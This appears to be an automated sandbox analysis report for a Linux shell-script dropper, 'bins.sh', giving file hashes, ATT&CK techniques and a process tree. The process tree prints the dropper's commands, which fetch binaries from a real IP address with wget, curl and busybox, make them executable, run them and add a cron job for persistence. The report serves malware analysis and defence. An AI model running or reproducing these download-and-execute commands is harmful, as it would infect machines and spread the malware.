10e3e3e76552e191e9c880e374448c94e4d9ea8b76337345ffed3305d3b6722e

Analysis

max time kernel
150s
max time network
96s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
25-11-2024 17:05

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General

Target

bins.sh
Size

10KB
MD5

ff11827cacbdfc494c394c5d8e7272db
SHA1

9acddf73007240f35b04f7fe4732d47cd0b04137
SHA256

10e3e3e76552e191e9c880e374448c94e4d9ea8b76337345ffed3305d3b6722e
SHA512

a045f1446bdb8160644c1e258d5a17327dc5d81b05bda3fddbe70b00007d6b63363d4b98f10a9c1fbcdf87befe5a73a543a4e0f7728feae5ad0e053384968958
SSDEEP

192:JBVtKqN2M/XoDM9VR9/9d9k9I9NGjOHBVtKq8sXU9VR9/9d9k9I9Ton:t2MfoDM9X9/9d9k9I9NG6m2U9X9/9d9y

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmod

pid process

837 chmod
741 chmod
780 chmod
812 chmod

pid	process
837	chmod
741	chmod
780	chmod
812	chmod

Executes dropped EXE 4 IoCs

Processes:

VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsrcd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMRcMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZFDlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK

ioc	pid	process
/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr	742	VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
/tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR	781	cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
/tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF	813	cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
/tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK	838	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK

Renames itself 1 IoCs

Processes:

Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK

pid process

839 Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.pzYaeX crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
839	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.pzYaeX	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOKcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/22/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/76/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/117/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/671/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/7/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/14/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/16/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/19/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/850/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/23/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/70/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/106/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/149/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/9/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/10/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/71/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/845/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/326/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/330/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/707/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/3/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/18/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/72/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/145/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/243/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/419/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/677/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/717/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/1/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/13/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/74/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/82/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/24/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/75/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/387/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/844/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/20/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/21/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/73/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/328/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/4/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/5/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/6/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/8/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/709/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/849/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/12/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/15/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/81/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/84/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/358/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/848/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/37/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/77/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/378/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/2/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/11/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/166/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/687/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
File opened for reading	/proc/847/cmdline	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetbusyboxwgetwgetcurlcurlbusyboxwgetcurlcurlbusyboxbusybox

description	ioc	process
File opened for modification	/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr	wget
File opened for modification	/tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR	busybox
File opened for modification	/tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF	wget
File opened for modification	/tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK	wget
File opened for modification	/tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK	curl
File opened for modification	/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr	curl
File opened for modification	/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr	busybox
File opened for modification	/tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR	wget
File opened for modification	/tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR	curl
File opened for modification	/tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF	curl
File opened for modification	/tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF	busybox
File opened for modification	/tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:711
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://216.126.231.240/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - Writes file to tmp directory
  PID:721
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  ./VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  PID:744
- /usr/bin/wget
  wget http://216.126.231.240/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  2⤵
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  2⤵
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod 777 cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  ./cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  2⤵
  - Executes dropped EXE
  PID:781
- /bin/rm
  rm cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  2⤵
  PID:785
- /usr/bin/wget
  wget http://216.126.231.240/bins/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
  2⤵
  - Writes file to tmp directory
  PID:787
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
  2⤵
  - Writes file to tmp directory
  PID:798
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
  2⤵
  - Writes file to tmp directory
  PID:804
- /bin/chmod
  chmod 777 cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
  ./cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
  2⤵
  PID:816
- /usr/bin/wget
  wget http://216.126.231.240/bins/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
  2⤵
  - Writes file to tmp directory
  PID:817
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
  2⤵
  - Writes file to tmp directory
  PID:836
- /bin/chmod
  chmod 777 Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
  ./Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:838
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:840
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:841
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:842
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:843
- /bin/rm
  rm Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
  2⤵
  PID:845
- /usr/bin/wget
  wget http://216.126.231.240/bins/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
  2⤵
  PID:848
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
  2⤵
  - Reads runtime system information
  PID:849

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.pzYaeX

Filesize
210B

MD5
aa855449d12066801ee3421723ca3c15

SHA1
670e9014e0bad68ed1b49edecefd03937593296a

SHA256
84a23e6e2b9a2abb0284887a8a4b54a49de7e6b356de3effe0adeae8346f5f9f

SHA512
8b277cad8b1bd1e423b224bd42f67c2e44115ee03e6bfdb277d193a8a5028f83cdc9414404a301a9612c4664042db0557c5efe26bbab0a96ff9bfeb6636c9c0d

Download Submit